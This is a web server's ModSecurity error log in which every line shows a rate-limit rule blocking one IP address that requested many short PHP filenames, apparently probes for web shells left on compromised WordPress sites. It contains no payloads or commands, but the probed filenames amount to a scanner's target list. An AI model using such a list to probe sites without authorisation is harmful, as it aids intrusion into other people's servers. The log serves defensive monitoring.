[Fri Apr 17 03:48:49.405513 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:29489] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "aeE9IZJYca8I3TNCwIfH6gAAAEg"]
[Fri Apr 17 03:48:50.030881 2026] [:error] [pid 9153:tid 9233] [client 20.166.31.184:38587] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeE9IuMHGxkTZX3c45emMAAAAI8"]
[Fri Apr 17 03:48:50.686721 2026] [:error] [pid 9153:tid 9232] [client 20.166.31.184:29440] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeE9IuMHGxkTZX3c45emNAAAAI4"]
[Fri Apr 17 03:48:51.452385 2026] [:error] [pid 9263:tid 9287] [client 20.166.31.184:32715] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeE9IxP68VyHNvj1e56AjgAAANY"]
[Fri Apr 17 03:48:52.409585 2026] [:error] [pid 9153:tid 9231] [client 20.166.31.184:35855] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "aeE9JOMHGxkTZX3c45emPwAAAI0"]
[Fri Apr 17 03:48:53.216661 2026] [:error] [pid 9152:tid 9211] [client 20.166.31.184:29064] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeE9JZJYca8I3TNCwIfIBwAAAFU"]
[Fri Apr 17 03:48:53.890437 2026] [:error] [pid 9152:tid 9202] [client 20.166.31.184:23929] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeE9JZJYca8I3TNCwIfICgAAAEw"]
[Fri Apr 17 03:48:54.560417 2026] [:error] [pid 9263:tid 9283] [client 20.166.31.184:29092] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeE9JhP68VyHNvj1e56ApgAAANI"]
[Fri Apr 17 03:48:55.177410 2026] [:error] [pid 9153:tid 9240] [client 20.166.31.184:32754] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aeE9J-MHGxkTZX3c45emTAAAAJY"]
[Fri Apr 17 03:48:55.854549 2026] [:error] [pid 9152:tid 9195] [client 20.166.31.184:32713] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeE9J5JYca8I3TNCwIfIEgAAAEU"]
[Fri Apr 17 03:48:56.661315 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:29119] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeE9KBP68VyHNvj1e56AtAAAAMg"]
[Fri Apr 17 03:48:57.371377 2026] [:error] [pid 9263:tid 9285] [client 20.166.31.184:38567] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeE9KRP68VyHNvj1e56AtgAAANQ"]
[Fri Apr 17 03:48:58.000250 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:35893] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "aeE9KRP68VyHNvj1e56AvgAAAM0"]
[Fri Apr 17 03:48:58.647809 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:38550] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeE9KuMHGxkTZX3c45emYAAAAJc"]
[Fri Apr 17 03:48:59.234281 2026] [:error] [pid 9152:tid 9203] [client 20.166.31.184:38344] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeE9K5JYca8I3TNCwIfIFwAAAE0"]
[Fri Apr 17 03:48:59.949299 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:15383] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeE9KxP68VyHNvj1e56AywAAAMQ"]
[Fri Apr 17 03:49:00.742090 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:29079] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeE9LBP68VyHNvj1e56A0gAAAMw"]
[Fri Apr 17 03:49:01.294175 2026] [:error] [pid 9152:tid 9210] [client 20.166.31.184:29083] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeE9LZJYca8I3TNCwIfIGQAAAFQ"]
[Fri Apr 17 03:49:01.871479 2026] [:error] [pid 9263:tid 9266] [client 20.166.31.184:35759] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeE9LRP68VyHNvj1e56A2gAAAME"]
[Fri Apr 17 03:49:02.630344 2026] [:error] [pid 9263:tid 9286] [client 20.166.31.184:26243] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeE9LhP68VyHNvj1e56A4QAAANU"]
[Fri Apr 17 03:49:03.401997 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:38368] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "aeE9LxP68VyHNvj1e56A6AAAAMQ"]
[Fri Apr 17 03:49:04.025614 2026] [:error] [pid 9151:tid 9179] [client 20.166.31.184:38394] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeE9MMhTVuRPkua22vRdrgAAABI"]
[Fri Apr 17 03:49:04.800285 2026] [:error] [pid 9153:tid 9239] [client 20.166.31.184:38536] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeE9MOMHGxkTZX3c45emjQAAAJU"]
[Fri Apr 17 03:49:05.359281 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:25984] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeE9MeMHGxkTZX3c45emkwAAAII"]
[Fri Apr 17 03:49:06.085969 2026] [:error] [pid 9153:tid 9242] [client 20.166.31.184:29090] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "aeE9MuMHGxkTZX3c45emmQAAAJg"]
[Fri Apr 17 03:49:06.814435 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:26007] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeE9MhP68VyHNvj1e56A_AAAAMI"]
[Fri Apr 17 03:49:07.343469 2026] [:error] [pid 9153:tid 9221] [client 20.166.31.184:38375] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeE9M-MHGxkTZX3c45empAAAAIM"]
[Fri Apr 17 03:49:07.940063 2026] [:error] [pid 9151:tid 9162] [client 20.166.31.184:29451] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeE9M8hTVuRPkua22vRdtAAAAAE"]
[Fri Apr 17 03:49:08.594659 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:38387] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aeE9NBP68VyHNvj1e56BCAAAAMw"]
[Fri Apr 17 03:49:09.127100 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:38367] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeE9NRP68VyHNvj1e56BDwAAAMI"]
[Fri Apr 17 03:49:09.761622 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:35741] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeE9NRP68VyHNvj1e56BFAAAANg"]
[Fri Apr 17 03:49:10.473792 2026] [:error] [pid 9263:tid 9285] [client 20.166.31.184:35773] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeE9NhP68VyHNvj1e56BGQAAANQ"]
[Fri Apr 17 03:49:11.042451 2026] [:error] [pid 9153:tid 9222] [client 20.166.31.184:38566] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "aeE9N-MHGxkTZX3c45emugAAAIQ"]
[Fri Apr 17 03:49:11.585776 2026] [:error] [pid 9153:tid 9235] [client 20.166.31.184:32666] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeE9N-MHGxkTZX3c45emwAAAAJE"]
[Fri Apr 17 03:49:12.154162 2026] [:error] [pid 9263:tid 9287] [client 20.166.31.184:35856] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeE9OBP68VyHNvj1e56BIAAAANY"]
[Fri Apr 17 03:49:12.802548 2026] [:error] [pid 9151:tid 9175] [client 20.166.31.184:15377] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeE9OMhTVuRPkua22vRduQAAAA4"]
[Fri Apr 17 03:49:13.339258 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:26269] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "aeE9OeMHGxkTZX3c45emzQAAAIc"]
[Fri Apr 17 03:49:14.220754 2026] [:error] [pid 9151:tid 9161] [client 20.166.31.184:26249] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeE9OshTVuRPkua22vRdugAAAAA"]
[Fri Apr 17 03:49:14.858550 2026] [:error] [pid 9152:tid 9204] [client 20.166.31.184:29118] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeE9OpJYca8I3TNCwIfIKgAAAE4"]
[Fri Apr 17 03:49:15.410291 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:32720] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeE9OxP68VyHNvj1e56BLQAAAM8"]
[Fri Apr 17 03:49:16.092350 2026] [:error] [pid 9151:tid 9166] [client 20.166.31.184:32741] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeE9PMhTVuRPkua22vRdvQAAAAU"]
[Fri Apr 17 03:49:16.743768 2026] [:error] [pid 9153:tid 9227] [client 20.166.31.184:38363] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeE9POMHGxkTZX3c45em2gAAAIk"]
[Fri Apr 17 03:49:17.316082 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:32693] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeE9PRP68VyHNvj1e56BOAAAANA"]
[Fri Apr 17 03:49:17.941469 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:38398] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeE9PRP68VyHNvj1e56BPQAAAMI"]
[Fri Apr 17 03:49:18.519961 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:29061] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aeE9PhP68VyHNvj1e56BQAAAAM8"]
[Fri Apr 17 03:49:19.067394 2026] [:error] [pid 9152:tid 9207] [client 20.166.31.184:29477] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeE9P5JYca8I3TNCwIfIMAAAAFE"]
[Fri Apr 17 03:49:19.582540 2026] [:error] [pid 9151:tid 9172] [client 20.166.31.184:29486] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeE9P8hTVuRPkua22vRdxAAAAAs"]
[Fri Apr 17 03:49:20.160814 2026] [:error] [pid 9152:tid 9212] [client 20.166.31.184:38342] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeE9QJJYca8I3TNCwIfIMwAAAFY"]
[Fri Apr 17 03:49:20.763868 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:32759] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aeE9QOMHGxkTZX3c45em8gAAAIc"]
[Fri Apr 17 03:49:21.298948 2026] [:error] [pid 9152:tid 9190] [client 20.166.31.184:35762] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeE9QZJYca8I3TNCwIfINwAAAEA"]
[Fri Apr 17 03:49:21.872092 2026] [:error] [pid 9153:tid 9218] [client 20.166.31.184:35846] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeE9QeMHGxkTZX3c45em-gAAAIA"]
[Fri Apr 17 03:49:22.379127 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:35724] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeE9QuMHGxkTZX3c45enAQAAAJc"]
[Fri Apr 17 03:49:22.956884 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:21281] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aeE9QhP68VyHNvj1e56BWwAAANg"]
[Fri Apr 17 03:49:23.469612 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:21286] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeE9QxP68VyHNvj1e56BYwAAAM0"]
[Fri Apr 17 03:49:23.974694 2026] [:error] [pid 9152:tid 9205] [client 20.166.31.184:25989] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeE9Q5JYca8I3TNCwIfIPgAAAE8"]
[Fri Apr 17 03:49:24.513763 2026] [:error] [pid 9263:tid 9273] [client 20.166.31.184:32652] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aeE9RBP68VyHNvj1e56BaAAAAMg"]
